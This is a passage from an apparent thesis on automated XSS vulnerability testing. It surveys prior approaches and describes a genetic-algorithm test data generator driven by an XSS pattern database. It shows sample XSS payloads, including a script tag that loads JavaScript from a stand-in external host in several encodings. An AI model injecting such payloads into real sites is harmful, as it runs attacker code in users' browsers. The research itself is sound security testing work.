makes the application traverse those paths. They proposed a very simple fitness function 
that considers the percentages of branches covered by a given input compared to a given 
target path. They only considered the reflected XSS type of vulnerabilities and not all of 
the XSS types. They also did not make use of the genetic mutation operator to its fullest 
extent. By adding more sophisticated fitness function and better mutation rules their work 
can give better results. We tried to overcome their shortcomings in this work; this is in 
addition to addressing weaknesses of other approaches. 
He et al. ‎[61] utilized regression testing to detect vulnerability for Web applications.  
They presented a strong-association rule based algorithm to make the vulnerability 
detection more efficient. The algorithm, first, traverses the whole Web site to get the Web 
pages collection. Then, in the regression test step, the algorithm makes the association 
between the pages and expands the pages to a collection set. They define a relational 
grade to describe the association. After testing the algorithm in real Web site, results 
show that the algorithm can detect almost all the pages that may contains vulnerabilities 
in the target Web site. 
Shahriar et al. ‎[52] ‎[53]‎[55] proposed a mutation-based testing approach to address 
XSS, Buffer Overflow and SQL injection attacks. They defined mutation operators to 
generate mutants from the original program along with killing criteria to kill the bad 
mutants.  Their adequacy of a test data set is measured by mutation score, which is the 
ratio of the number of killed mutants to the total number of non-equivalent mutants. By 
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comparing the mutants with original program using specific input derived from their 
collected attacks pool they can decide if this input exposes an attack. Otherwise, the 
mutant killed by the killing criteria.  
Kieżun et al.‎[32]  proposed attack creation technique. It generates a set of concrete 
inputs, executes the script under test (SUT) with each input, and dynamically observes 
whether data flows from an input to a sensitive sink (e.g., a function such as database 
query or print statement).  If so, the proposed technique modifies the input by using a 
library of attack patterns, in an attempt to pass malicious data through the program 
aiming to address the SQL injection attacks. 
Mcallister et al. ‎[41]suggested a technique to create comprehensive test cases to allow 
their scanner to reach “deeper” inside the application under test. Previously recorded user 
input used to fill out the complex forms.  They replace non malicious test cases with 
attack test cases and the reaction of the application is observed.  
Kosuga et al. ‎[35] presented Sania which is an approach for detecting SQL injection 
vulnerabilities during the development and debugging phases.  In particular, Sania 
identifies the potentially vulnerable spots in the SQL queries and automatically generates 
attacks request according to the syntax and semantics of the potentially vulnerable spots 
in the SQL queries. They compared the parse trees of the intended SQL query and those 
resulting after an attack to assess the safety of these spots.  Unlike other approaches, 
Sania can generate attack request that targets two vulnerable spots at the same time in one 
query. 
Salas et al. ‎[51] suggested a framework to support automatic generation of test cases 
that will show the presence of pre-defined security vulnerabilities. In their work, they 
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showed that an abstract model of a piece of software could be complemented with 
implementation details to allow the generation of adequate test cases. 
Kals et al. ‎[31] presented “SecuBat”, a Web scanner that exploits XSS and SQL 
injection vulnerabilities. The scanner consists of three main components: crawling, 
attack, and analysis component.  They depend on attacks database to send real attacks and 
observe the application behavior to conclude whether attacks are successful or not.   
Tappenden et al. ‎[59] proposed three testing strategies one of them was testing via 
HTTPUnit ‎[25].  They used it to bypass the user input to the server escaping from client 
side validation; mainly they check for division by zero, file upload and Base64 encoding 
vulnerabilities. They suggest the same method could be extended to cover XSS, SQL 
injection and buffer overflow vulnerabilities. 
Huang et al. ‎[26] studied how software testing techniques such as fault injection and 
runtime monitoring can be applied to Web applications and depending on that they 
proposed a mechanism for testing, WAVES‎[64]. WAVES is a black-box testing 
framework for automated Web application security assessment.  
Offutt et al. ‎[45] presented bypass testing approach for Web application. Their aim is to 
bypass client side validation and send the requests to the Web server directly and observe 
the reaction.  
Huang et al. ‎[27] introduced testing methodology that allows for harmless auditing.  
They defined three testing modes: heavy, relaxed, and safe modes. Comparing their work 
to static verification, they claimed that 80 percent of the errors are found using the heavy 
mode.  
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3.3 Benchmarking Framework  
Shahriar et al. ‎[54] presented a set of comparison criteria to compare automated security 
testing works. They surveyed work from different domains: utilities programs, network 
daemons, Web scanners and Web applications.  However, their work is sort of outdated 
now being currently six-years old; so many approaches and methodologies presented 
after their work.  
In ‎[4], we propose six criteria to compare Web applications security testing works. Our 
proposed comparison framework is specific for Web applications. Our Criteria addresses 
aspects different from those considered by the comparison framework of Shahriar et al. 
[54] such as the generation algorithm and the outcome as whether test data or test cases. 
Our criteria include covered attacks, the generation algorithm , whither white box or 
black box, whether the objective is to generate test case or test data, source of test cases,  
, and finally tool and automation. Below definitions provide detail description for each 
criterion. 
Covered Attacks:  This criterion identifies the attacks covered by the selected work.  
It is very important criteria for selecting the work or the tool to test for specific types of 
Web applications security attacks. As we will see in the comparison, most tackled attacks 
are XSS and SQLInj, also we can notice that the works tackling one attack are more 
accurate in term of number of reveling attacks comparing by the works claim that they 
are able to detect more than one attack.   
Test case Generation Algorithm:  This criterion describes the algorithm or the 
method used for generating test cases, which gives an idea about the methods and 
algorithms used in automating the security test cases generation. 
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White Box or Black Box (W/B Box):  This criterion answers the question as whether 
there is a need for the Web application source code or not during the testing process. If 
the testing process contains instrumentation to the original code, that adds more 
complexity to the process because first of all we need to define where to instrument and 
to build a tool to accomplish this task. This factor reflects the complexity of the testing 
process. 
Test Case or Test Data (TC/TD):  This criterion determines the different output of the 
security testing work: test data or test cases?  For test cases additional work is needed to 
provide expected behavior. 
Source of Test Cases:  This criterion reflects the source of the data used to build the 
test case. Sources include source code of the Web applications, attacks databases, session 
data, mutation operators and perturbation operators. 
Tool Automation:  One of the most important criterions to differentiate one 
approach from another is how much automation is supported. Although most of the 
security testing work claims that the developed tool is complete the whole testing process 
automatically, we found that some tasks needed to be done manually. 
3.4 Approaches Comparison 
In this section we discuss the available approaches and methods for Web security testing 
in light of our criteria. Table 3 summarizes a description for each approach. Table 4 
analyzes the approaches according to our comparison criteria. 
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Work Approach Summary 
‎[38] 
2010 
Regular expressions are used to define the input filed constraints, and 
test data generated by perturbing the regular expression using 
perturbation operators. 
‎[6] 
2010 
Static Analysis used to define the vulnerable paths and GA is used to 
generate input values that make the application traverse vulnerable 
control-flow paths. 
‎[61] 
2009 
The algorithm traverses the whole Web site to get the Web pages 
collection. It, then, makes the association between the pages using the 
suggested rules, and these expand the whole application. 
‎[55] 
2009 
Mutants are generated to test for XSS using mutation operators and test 
cases are built from attacks pool to kill mutants. 
‎[32] 
2008 
This technique generates sample inputs.  It symbolically tracks taints 
through execution using some database access and mutation of the 
inputs that exposes vulnerability. 
[41] 
2008 
Previously recorded user input used to fill out forms to allow for deeper 
testing. 
‎[53] 
2008 
Mutants are generated to test for buffer overflow vulnerabilities using 
mutation operators and test cases are built from attacks pool to kill 
mutants. 
‎[52] 
2008 
Mutants are generated to test for SQL Injection vulnerabilities using 
mutation operators and test cases are built from attacks pool to kill 
mutants. 
‎[35] 
2007 
This approach Parses application to a tree format and adds nodes 
contain attacks input in the leaf level.  It compares the parse trees of the 
intended SQL query and those resulting after an attack to assess the 
safety. 
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‎[51] 
2007 
This work uses fault-based approach to generate test case.  This 
approach is not based on one fault model, but on the combination of 
three models (faulty, implementation and attacker models). 
‎[31] 
2006 
Replaces normal input with attacks form the attacks database. 
‎[59] 
2005 
Security aspects marked during architecture design and HTTPUnit 
[25]is used to bypass user input to the server allowing for unit testing. 
‎[26] 
2005 
This work uses a database and set of vulnerable entry points, the 
vulnerable entry points and fault injection method used to pass 
malicious patterns, then resulting pages analyzed.  
‎[45] 
2004 
Bypasses the client input to the server side and observe the response 
page. 
‎[68] 
2004 
Filling the input form with real attacks and submit them to the server. 
 
Table 3: Web Security Testing Approaches. 
 
 
 
Work Attacks  Generation Algorithm W/B 
Box 
TD/TC Source of 
Test cases 
Tool 
Automation 
[38] 
2010 
XSS 
SQLIJ  
Perturbation  based  
Algorithm  
White TC Perturbing 
regular 
expressions
. 
Fully 
automated  
[6] 
2010 
XSS GA  White TC  URL Fully 
automated 
‎[61] 
2009 
XSS 
SQLIJ 
None White TD Source 
code 
 
Manually  
( No tool 
just 
algorithm )  
 
‎[55] 
2009 
XSS 
 
None, they use attacks 
database  
White TC Attacks 
Pool  
 
Semi-
automated 
(The 
process is 
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not 
completely 
covered the 
tool). 
‎[32] 
2008 
XSS 
SQLIJ 
Algorithm combines 
concrete and symbolic 
execution to generate 
input that covers the 
available paths in the 
application. 
 
White TD Source 
code and 
attacks 
database. 
Fully 
automated 
‎[41] 
2008 
XSS None, test data derived 
from the recorded old 
user sessions. 
White TD User 
session 
Fully 
automated 
‎[53]‎[
53] 
2008 
Buffer 
Overflow 
None, they use attacks 
database 
White TC Attacks 
Pool  
 
Semi-
automated 
(The 
process is 
not 
completely 
covered the 
tool). 
‎[52] 
2008 
SQLIJ None, they use attacks 
database 
White TC Attacks 
Pool  
 
Semi-
automated 
(The 
process is 
not 
completely 
covered the 
tool). 
‎[35] 
2007 
SQLIJ SQLIJ attacks database 
is used to build attacks 
requests in form of 
URLs  
Black TC Http 
request  
Fully 
automated  
 
‎[51] 
2007 
SQLIJ None, the work 
presented model based 
framework could be 
used to generate test 
cases.  
White TC Source 
code  
Fully 
automated  
 
‎[31] 
2006 
XSS 
SQLIJ 
 
Attacks database Black TC Source 
code 
Fully 
automated 
‎[59] 
2005 
XSS 
SQLIJ  
Buffer 
Overflow 
Attacks database White TD Source 
code 
Semi-
automated 
(The 
process is 
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not 
completely 
covered the 
tool). 
‎[26] 
2005 
XSS 
SQLIJ 
Automated 
Form completion 
algorithm [26]. 
Black TC Fault 
database 
 
Fully 
automated 
‎[45] 
2004 
XSS 
SQLIJ 
None. Black TC Response 
pages 
Fully 
automated 
‎[68] 
2004 
XSS 
SQLIJ 
Attacks database. Black TD Response 
pages 
 
Fully 
automated  
 
 
 
Table 4: Web Security Testing Approaches Comparison. 
3.5 Analysis and Observations 
Based on the above survey and a comparison among different approaches of Web 
application security testing, our primary observations can be summarized as follows: 
1. The most addressed security vulnerabilities for Web applications are reflected 
cross site scripting (XSS), SQL injection (SQLIJ) and Buffer Overflow.  This is 
because those attacks are the top three attacks in the top ten attacks published by 
the Open Web Application Security Project (OWASP)‎[60].  
2. Most of the approaches are white box based, in which source code is needed.  
Analyzing the source code can lead to more accurate test cases which are able to 
reveal the attacks and lead to secured Web application. 
3. Most of the reviewed approaches use a kind of attacks database.  In this case the 
corresponding database should be maintained to stay current; this poses a 
challenge.  There are also other limitations with this scheme‎[32]‎[61]‎[26]‎[31]. 
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4. Using heuristics search algorithms like GA, hill climbing and simulated 
annealing; to search for adequate test cases has not caught enough researchers‟ 
attention.  Considering the test automation problem as a search problem, 
heuristics search algorithms can be utilized; to search for adequate test cases helps 
to reveal the security vulnerabilities in Web applications.  GA possesses a number 
of advantages over other optimization and search procedures as we discuss 
later‎[11]. 
5. None of the approaches test for the vulnerabilities across multiple paths 
simultaneously.  Although in ‎[6] the researchers test vulnerable paths but they test 
one vulnerable path at a time.  So if there are many paths, the process repeats 
many times; one time for each path.  This consumes time since other paths might 
be satisfied as a by-product when trying to cover others. 
Based on the above observations, we propose to focus on using GA with the aid of a 
database of patterns to uncover possible XSS vulnerabilities: stored, reflected, and 
DOM based‎[6]‎[30]‎[33]‎[55]. 
  
35 
 
   
 
3 CHAPTER  
PROPOSED APPROACH 
4.1 Introduction  
In this chapter, we present our approach to address shortcomings highlighted in the 
previous chapter.  We start by formalizing the research questions that emerged from our 
literature survey in the next section (Section ‎4.2). In addressing those questions, we then 
discuss the design of our GA based test data generator along with the corresponding 
implementation details in Section ‎4.3.  
4.2 Research Questions  
The general problem of concern in this research is to improve the confidence in Web 
applications security by automatically generating effective set of test data to uncover XSS 
vulnerabilities if they exist.  Solving this problem is challenging as it involves aspects 
like understanding the nature of XSS vulnerabilities, identifying patterns, and accordingly 
coming up with an approach for automatically generating the minimal number of test 
cases needed to uncover potential XSS vulnerabilities. Figure 5 gives high level 
description of the manual process which cost more time and money that the automatic 
approach of testing. 
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Figure 5: A High Level Description of the Security Testing Process. 
Based on the observations in CHAPTER 3, the objectives of this research are formulated 
as to find answers to the following research questions: 
1. How to formulate the problem of testing for stored, reflected and DOM-based 
XSS vulnerabilities as an optimization search problem? What would the objective 
function be in this case? 
2. How can genetic algorithms be utilized to solve such an optimization problem?  
3. Is genetic algorithms based solution better than other solutions? 
4. Can the proposed approach be extended to cover other Web security 
vulnerabilities?  
The first question in this research addresses the goal of testing that is to generate the 
least possible number of test cases required to satisfying a particular coverage criterion.  
This goal can be conceptualized as a search problem, searching for possible input that 
conforms to specific test adequacy criteria. So we search for the relevant test cases. 
The second question is meant to investigate using GA for test data generation.  
Pargas ‎[46] classifies these techniques into random test data generator, structural or path-
oriented test data generator, goal-oriented test data generator, and intelligent test data 
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generator. Intelligent test data generators often rely on sophisticated analysis of the code, 
to guide the search for new test data.  Our focus in this research is on path oriented test 
generation. 
Although there are other options, we opted to use a GA-based solution.  The third 
research question is meant to compare our approach with other applicable ones. 
Finally the fourth question is about the extension of the proposed approach to cover 
other different Web security vulnerabilities, to answer this question we will give a guide 
line to use the same approaches with the SQL Injection flaws to ensure that our work is 
extendable. 
4.3 The Solution Approach  
In this section, we discuss our answers to the research questions of the previous section.  
We formulate the problem of generating the minimal number of test cases needed to 
uncover potential XSS vulnerabilities as an optimization search problem.  As a result, we 
developed a corresponding objective function.  Using that objective function, we 
designed a test data generator using GA. In the world of evolutionary computational 
techniques the objective function is referred to as a fitness function‎[1]. 
We opted to use GA as it proved to be successful in generating test cases for 
traditional programs‎[18]. GA was not exploited enough for Web security testing though. 
Our literature survey shows that it has been used only by Avancini, and Ceccato‎[6]; 
whose work suffers from some shortcoming as pointed out earlier.  Mainly, they only 
considered was the reflected XSS type of vulnerabilities and not all of the XSS types. 
They also did not make use of the genetic mutation operator to its fullest extent. They 
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also targeted one path at a time.  In this work we address those shortcomings.  We also 
build and use a database of XSS vulnerability patterns from different sources available 
over the Internet‎[20]‎[21] ‎[22] ‎[23]‎[24]. 
The following subsections discuss the details of our test data generator for XSS 
vulnerability testing. 
4.3.1 Overview of the Solution 
The core idea of our solution is to reformulate the security testing problem as an 
optimization search problem.  The goal of testing for traditional software is to generate 
minimal number of test cases to reveals as many defects as possible.  Typically, white-
box testers follow a certain adequacy criterion to assess coverage, e.g., statement, 
decision (branch), condition, decision/condition, multiple-condition coverage, and path 
coverage‎[2].  A brief on the most common criteria follows.  More details can be found in 
Hermadi‎[18]. 
 Statement Coverage: Every statement in the software under test has to be 
executed at least once during testing process.  Unfortunately this criteria does not 
guarantee exercising the same statement in different flows‎[2].  
 Branch Coverage: Is a stronger criterion than statement coverage. It requires 
every possible outcome of all decisions to be exercised at least once, i.e. each 
possible transfer of control in the program be exercised. This means that all 
control statements are executed, and then it includes statement coverage since. 
Every statement is executed if every branch in a program is exercised once. 
However, some errors can only be detected if the statements and branches are 
executed in a certain order, which leads to path testing. 
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 Path Coverage: A path through software can be described as the conjunction of 
predicates in relation to the software's input variables.    Path coverage covers all 
previously mentioned testing coverage criteria. 
Same applies to XSS security testing; the goal is to find the minimal number of test cases 
to reveal as many XSS vulnerabilities as possible.  There are three different types of XSS 
vulnerabilities: reflected, stored and DOM-based.  The problem of software testing is 
then a problem of searching for minimal number of inputs that meet a given coverage 
adequacy criteria.  In our work, we use the path coverage criterion.  However, it is 
generally impossible to cover all paths, for several reasons‎[18]:  
 A program may contain an infinite number of paths when the program has loops. 
 The number of paths in a program is exponential to the number of branches in it 
and many of them may be unfeasible. 
Because of these reasons, the problem of path testing can become a NP complete 
problem making the covering of all possible paths impractical‎[49]. Typically, testers 
select a subset of paths of interest to cover with test data.  In our case, we are interested in 
covering a subset of paths, vulnerable Paths, whose executions pose potential XSS 
vulnerabilities to the application.  It is worth recalling here that vulnerability is reported 
whenever a variable is used as a sensitive sink, e.g., a print statement to the Web browser, 
without being validated. Such variables are typically initialized through a user-provided 
input or data files. 
Figure 6 gives the general architecture of the proposed solution.  The following 
subsections describe the different components of the architecture. 
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Figure 6: The General Architecture of the Proposed Solution. 
 
4.3.2 Cross Site Scripting Database  
Mainly XSS attacks depend on delivery of specially crafted data to a Web application 
through normal request channels such as CGI URL‟s or HTML forms. This specially 
crafted data is designed to be executed as an application code.  Data may contain HTML 
fragments that could flush to the Web page, altering the resulting content such that 
malicious code is injected.  When executed by the user browser, such code may disclose 
sensitive data to third parties, hijack sessions, redirect the user to malicious sites, or 
deface Web sites.  This type of attack exploits executing scripts in the user‟s browser to 
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lead to such problems in cases where there is a lack of proper validation of input data 
coming from the user. 
Table 5 shows some of encodings that could be used to lunch XSS attacks. In the table 
one XSS pattern translated in three different formats: HTML, URL, and Base64 
Encoding.  
  
The Original Script  <script src=http://www.myexample.com/jsource.js></script> 
HTML Encoding  
&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x20;&#x73;&#x72;
&#x63;&#x3D;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x77
;&#x77;&#x77;&#x2E;&#x6D;&#x79;&#x65;&#x78;&#x61;&#x6D;&#x7
0;&#x6C;&#x65;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x6A;&#x73;&#x
6F;&#x75;&#x72;&#x63;&#x65;&#x2E;&#x6A;&#x73;&#x3E;&#x3C;&#
x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E; 
 
URL Encoding  
%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%
70%3A%2F%2F%77%77%77%2E%6D%79%65%78%61%6D%70%6
C%65%2E%63%6F%6D%2F%6A%73%6F%75%72%63%65%2E%6
A%73%3E%3C%2F%73%63%72%69%70%74%3E 
 
Base64 Encoding  
PHNjcmlwdCBzcmM9aHR0cDovL3d3dy5teWV4YW1wbGUuY29tL2pz
b3VyY2UuanM+PC9zY3JpcHQ+ 
 
 
Table 5: Use of Some Character Encodings. 
We collected different patterns of XSS attacks and store them into well-organized 
database, APPENDIX A shows different example of the XSS patterns, we use the 
patterns to assist GA in the process of generating adequate test cases to find XSS 
vulnerabilities, the patterns are collected from different sources over the 
Internet‎[20]‎[21][22] ‎[23]‎[24].  GA tries to use combinations and permutations of such 
XSS attack patterns to form data inputs that is to force the code under test to proceed 
though a certain Vulnerable Path.   
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4.3.3 Taint Analysis 
The adoption of static analysis for identifying vulnerabilities was initially proposed as a 
way to support manual inspection‎[8], initially called the type-state analysis‎[57]. Taint 
analysis is a static analysis technique devoted to track the tainted/untainted status of 
variables throughout the application control flow. Vulnerability is reported whenever a 
possibly tainted variable is used in a sensitive sink statement, taint analysis has been 
largely adopted to detect inadequate or missing input validation, resulting in 
XSS‎[62]‎[30], SQL-injection‎[27] and buffer overflow ‎[56] vulnerabilities.  
Huang et al. presented one of the first taint analyses uses for Web applications and 
applied it to SQL injection ‎[27]. They used a CQual-like ‎[14]‎[15] type system to 
propagate taint information through PHP programs. Livshits and Lam ‎[39] used a precise 
points-to analysis for Java‎[66] and queries specified in PQL ‎[37] to find paths in Java 
programs that allow raw input to show into HTML output, file paths, and SQL queries. 
Both of these tools are sound with respect to the policy they enforce and the language 
features they support, and both find much vulnerability.   
Jovanovic et al. designed Pixy as taint analysis tool to propagate limited string value 
information in order to handle some of PHP‟s more dynamic features ‎[30].  They also 
address some of the characteristics of scripting languages with their precise and finely 
tuned alias analysis. In the case of XSS vulnerabilities, tainted values are those that come 
from the user input or database [30] and print using the print statements that append a 
string into the Web page.  
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Tainted status is propagated on assignments to the variable on the left hand side, when 
an expression on the right hand side uses a tainted value. Tainted variables become 
untainted for one of three reasons‎[6]: 
(a) Sanitization, using special function supported by the language used to develop the 
SUT e.g., PHP language provide htmlspecialchars() function for variables 
sanitization; it is worth noting that Pixy ‎[48] tool, which we are using for taint 
analysis, considers the path as vulnerable even if there is sanitization step . 
(b)  Assignment to untainted values. 
(c) Assignment to expression that does not contain tainted values. 
In our work, we use Pixy [48] version 3.03 as tool for the taint static analysis; which is 
a java program that performs automatic scans of PHP source code. It aims at detecting the 
XSS and SQL injection vulnerabilities.  Pixy takes a PHP program as input, and creates a 
report that lists potential vulnerable points in the program including the paths that 
contains sanitization statements. We use GA to generate test data that force the program 
to flow through those potential vulnerable points (paths) to test whether they are indeed 
vulnerable.   
4.3.4 Genetic Algorithms 
Genetic Algorithms (GA) were invented by John Holland in the 1960s and were 
developed by Holland and his students and colleagues at the University of Michigan in 
the 1960s and the 1970s‎[19].  GA is based on the evolutionary theory‎[7].  The basic steps 
of genetic algorithms are the following ‎[7]: 
1. Create an initial population of candidate solutions. 
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2. Compute the fitness values of each of these candidates. 
3. Select all the candidates that have the fitness values above or on a threshold. 
4. Make perturbation to each of these selected candidates using genetic operators, 
e.g. crossover. 
These steps, except the first initialization step, are repeated until any/all the candidate 
solutions become solution(s). This algorithm is used as automatic generator with a 
specific fitness function, chromosomes formats, and well defined crossover mutation 
process to generate the off spring for new population. Figure 7 gives general overview 
and pseudo code for this algorithm.  
Population = generate-random-population ( ) ;  
 for (T in Vulnerable  Paths )  
{ 
        while (T not covered  AND    attempt < max-Try )  
               { 
                        selection = s e l e c t ( population ) ; 
 
                       offspring = crossover ( selection ) ; 
 
                        population = mutate ( offspring ) ; 
 
                        attempt = attempt + 1 ; 
               } 
} 
 
 
Figure 7: Genetic Algorithm. 
 
There are two approaches for implementing GA ‎[42].  The first, classical, approach 
operates on binary format.  The other approach represents individuals using more natural 
data structures; and, accordingly, applies appropriate genetic operators.  In our work, we 
adopt the second approach. This is more suitable to test for XSS vulnerabilities since 
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individuals represent patterns of real strings; manipulating them in binary format would 
add more complexity with no expected value. Two major operators are used in almost 
every implementation of GA: Crossover and Mutation operators.  In the following 
subsections we discuss these operators along with the chromosome design and fitness 
function design. 
4.3.4.1 Chromosomes 
In GA, chromosomes are a set of parameters which define a proposed solution to the 
problem that the GA is trying to solve. The chromosome is often represented as a simple 
string of binary digits; although a wide variety of other data structures are also used. 
In our Web security testing problem, a chromosome could be a set of pairs; each pair 
contains a parameter name and a parameter value, for example, the URL “home.php? 
firstname=Ali&Lastrname=Ahmed” corresponds to the chromosome {(firstname, Ali), 
(lastname, Ahmed)}. 
In our implementation we will not use the first parameter which is the name we will 
just use the value that make our work less complicated; the parameter name is identified 
by position, makes it more efficient.  
4.3.4.2 Crossover   
In crossover we select genes from parent chromosomes to create a new offspring. The 
simplest way to do this is to choose randomly some crossover point and everything 
before this point copies from a first parent and then everything after a crossover point 
copies from the second parent according to specific probability known as cross over rate. 
There are several different ways to do the crossover, for example one-point crossover, 
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two-point crossover, and uniform cross over‎[16]. In uniform crossover both parent are 
contributing to generate the new offspring. Parents contribute according to specific 
probability is known as crossover rate or crossover probability‎[16]. 
In our case two individuals are combined to generate two brand new individuals.  This 
is done by recombining two halves together. Example of crossover operation looks like: 
let A and B are the original one C and D are the new individuals. 
A: {(firstname, Ali), (lastname, Ahmed)}.  
B: {(firstname, Mona), (job, teacher),(age, 23)} 
C: {(firstname Ali), (lastname, Ahmed), (job, teacher)}. 
D: {(firstname, Mona), (address, 14 street), (age, 23)}. 
Notice that as we mentioned before, in our implementation we will not use the names 
of the parameters in the chromosomes, we will just use the values to make our 
implementation less complex.  In our approach the parameter values are XSS patterns, 
and individuals contain a number of parameter equal to the number of inputs to the SUT.  
For a script with two inputs the chromosomes have two parameters each one of them has 
a value.  
 
Figure 8: Crossover of two Individuals each one with two Inputs. 
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Figure 8 gives an example of the crossover, in which two individuals are crossed over 
each other to generate new individuals. In this example each individual represents a test 
datum for a program receiving two inputs. The values within individuals represent a real 
XSS pattern selected from our database. 
We used the uniform crossover to enables the parent chromosomes to contribute the 
gene level rather than the segment level. This gives the chance for trying different cross 
site scripting patterns combination. We tried different values for the crossover rate 
(probability): 0.3, 0.5, and 0.9, based on that we found 0.5 is the best rate so we used it in 
the experiments. 
4.3.4.3 Mutation 
GA mutation is the process of random alteration of the chromosome attribute values with 
certain probability known as mutation rate or mutation probability. It is not a primary 
operator but it ensures that the probability of searching any region in the problem space is 
never zero and prevents complete loss of genetic material through reproduction and 
crossover. 
Mutating for the new offspring can be achieved in different ways ranging from change 
one character in chromosome values or remove one element from chromosome or 
replacing chromosome value with another string. Examples: 
{(firstname, Mona), (age, 23)}   {(firstname, Monaxss), (age, 23)}. 
{(firstname, Mona), (age, 23)}   {(firstname, Mona} 
{(firstname, Mona), (age, 23)}   {(firstname, xyzm), (age, 23)}. 
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Although these ways of mutation are wildly used in the literature we found that none of 
them will be suitable to our wok, so we select to use another method which is replacing 
the value of the attribute using real  XSS pattern from our database along with switching 
between the attributes values randomly. Example: 
{(firstname, Mona), (age, 23)}   {(firstname, <script>alert(„xss‟);</script>), (age, 23)}. 
So in the above example the random method select attribute firstname which is the first 
attribute, mutation taking place by randomly selects XSS pattern from our database and 
replaces the value of the selected attribute. 
Guided by the fact that a high mutation is more toward the random search, after many 
trials (0.1, 0.3, and 0.5) we selected mutation rate (probability) to be 0.5 for our 
experiments. 
4.3.4.4 Selection  
There are several techniques for GA to select some individuals for reproduction; the basic 
philosophy of selection is to give more chance to that highly fit chromosome to survive. 
This ensures that only the best characteristics are transmitted from the current generation 
to the next generation. There are different methods of selecting individuals, e.g. rank 
selection, Elitist selection, Tournament selection, and roulette wheel selection ‎[11]. 
We select to use the roulette wheel method in which the selection probability of each 
individual is directly proportionate to its relative fitness to other individuals.  Two 
individuals (parents) are then chosen randomly based on these probabilities to produce 
offspring.  Offspring are produced by combing the two selected parents through 
crossover.  Offspring are further altered through mutation.  The new offspring are 
evaluated using our fitness function discussed previously, and the fittest are selected to 
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reproduce for the next generation, and so on.  As a summary of this method see the below 
algorithm‎[9]: 
1. [Sum] Calculate sum of all chromosome finesses in population - sum S.  
2. [Select] Generate random number from interval (0, S) - r.  
3. [Loop] Go through the population and sum finesses from 0 - sum s. When the sum 
s is greater than r, stop and return the chromosome.  
Of course, step 1 is performed only once for each population.  
 
4.3.4.5 Finesse Function  
The fitness function is a particular type of objective function that is used to summarize 
how close a given design solution is to achieving the set aims.  In case of GA, each 
design solution is represented as a chromosome.  After each generation best solutions 
selected to the next stage and genetic operators are used with them.  Every single solution 
needs to be evaluated, to indicate how it‟s close from the final solution, here fitness 
function is used.  Also the fitness function must be computed quickly because plenty of 
solution will be in the population and each of them has to be evaluated for many 
generations. In summary the goal of a fitness function is to provide a meaningful, 
measurable, and comparable value given a set of chromosomes [9]. 
In our work we studied many alternative fitness functions to use as a trial and error 
exercise.  We ended up by fitness function that evaluates the path of the script execution 
using specific input; the branches forming that path are the basic unit in our calculations. 
One of the components of our fitness function is the amount of path branches that are 
executed when the application is run with the input from the current individual, along 
with other component.  
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In this work two fitness functions are proposed, single path fitness function, and 
multiple path fitness function. 
Single Path Fitness Function 
In this part we discuss our proposed fitness function for testing one path at a time, 
although, there is many potential vulnerable paths to exercise, this fitness function is 
designed to test them one by one, later we will discuss the enhanced fitness function that 
used to exercise multiple paths at a time. 
Generally the single path fitness function evaluates the test datum supplied by GA and 
the XSS database from the perspective of coveting the intended path and the XSS attack 
take place. Using the single path fitness function, the experiment will be repeated for n 
times, where n is the number of potential vulnerable paths in the Web application.  
The single path fitness function is composed from several components:  percentage of 
missing nodes in the path under test, distance between the current traversed path and the 
target path, Importance of the XSS pattern, and percentage of XSS database coverage. 
To cover a vulnerable path, an individual should traverse all of the branches in that 
path.  Accordingly, the higher the percentage of branches an individual covers the higher 
of its fitness value.  For example if we have vulnerable path with five branches and an 
input succeeded to traverse the all five branches, it would give a value of 1for the fitness 
function. If the input succeeded to traverse two branches, it would give a value of 0.4 for 
the fitness function, and so on. The individual will survive and get selected to reproduce 
for another round if its fitness value is greater than specific threshold. It is important to 
mention that this is not the only one factor we consider in our fitness function. Sometimes 
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the input type might be numeric, not string; in such case distance will be calculated as the 
difference between the traversed path and the target path in term of values using Korel‟s 
distance, see Table 6. In case of string type, inputs distance is equal to zero. 
Predicate  Distance if path taken is different 
A = B ABS(A – B) 
A ≠ B K 
 
A < B 
(A – B) + k 
 
A ≤ B 
(A – B) 
 
A > B 
(B – A) + k 
 
A ≥ B 
(B – A) 
X OR Y MIN(Distance(X), Distance(Y)) 
X AND Y Distance(X) + Distance(Y) 
 
Table 6: Korel‟s Distance Function. 
Note: k is the smallest step for the input data of the program, i.e. the resolution of the 
number that a programming language can represent or manipulate, in spite of the machine 
representation. For example, in most programming languages the “integer type” has k = 
1‎[18]. 
Another factor to consider in the fitness function patterns might be used again and 
again because GA uses the XSS database to build the individual. So we consider this. 
Importance is the second factor in our fitness function; this factor reflects the importance 
of the input that used to cover a path. We save each pattern we used before in a certain 
files so when we use the same pattern again we can know that. For example, if the input 
used before the importance is zero “I=0”. On the other hand, if the input is not used 
before to cover the current path “ I=1”. Moreover, if we have a case where we have two 
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inputs for the SUT, we check the value of the first input if it‟s used before as value for the 
second input, in this case “I=0.3” because the programmer will likely use the same check 
for both variables.  
 
             Importance  
0        if input is used before for the current path. 
1     If input is not used before for the current path. 
0.3   If input is used with other variable within the same 
individual. 
 
The third factor we consider in our fitness function is the database coverage percentage. 
This factor aims to reflect the percentage of our XSS database used to cover a path, this 
to insure that the GA select different kind of XSS patterns to cover a path. The high 
percentage we get, the more confidence we are that GA cover this path and exercise it 
with different kind of XSS pattern the XSS database. The database coverage percentage 
is a cumulative value for all GA round. Once we start covering a new path the database 
percentage starts from zero. Obviously, in the initial population this value will be also 
zero.  
So our fitness function will be: 
F(x) = ((Miss% + D) * Importance * DB %) / 100 
F(x): Fitness for individual x. 
Miss%: The percentage of missing nodes in the path using current individual. 
D: Distance calculated as the difference between the traversed path and the target path 
using Korel‟s distance function see Table 6, and it‟s related to the numeric values only, 
that means distance  equal to zero in case of string type inputs. 
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Importance: reflects the importance of the input values. 
DB%: Reflects the XSS database percentage that GA used to cover the current path.  
Here, we try to minimize the fitness value so that we can reach a stage that no missing 
node is in the current path. This mean that the path coverage percentage is 100%, and by 
that we can say the target path is solved completely with the current individual. In other 
words, the current individual successes to force the SUT to go into a path that is the target 
path we want to cover, and then we save the individual that leads to this as our test data.  
Figure 9 gives a summary of our tool that implements our solution; the figure describes 
the GA works and the connection between the process and our XSS database. 
 
 
Figure 9: Summary of our Genetic Algorithm Approach Description. 
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Multi Path Fitness Function 
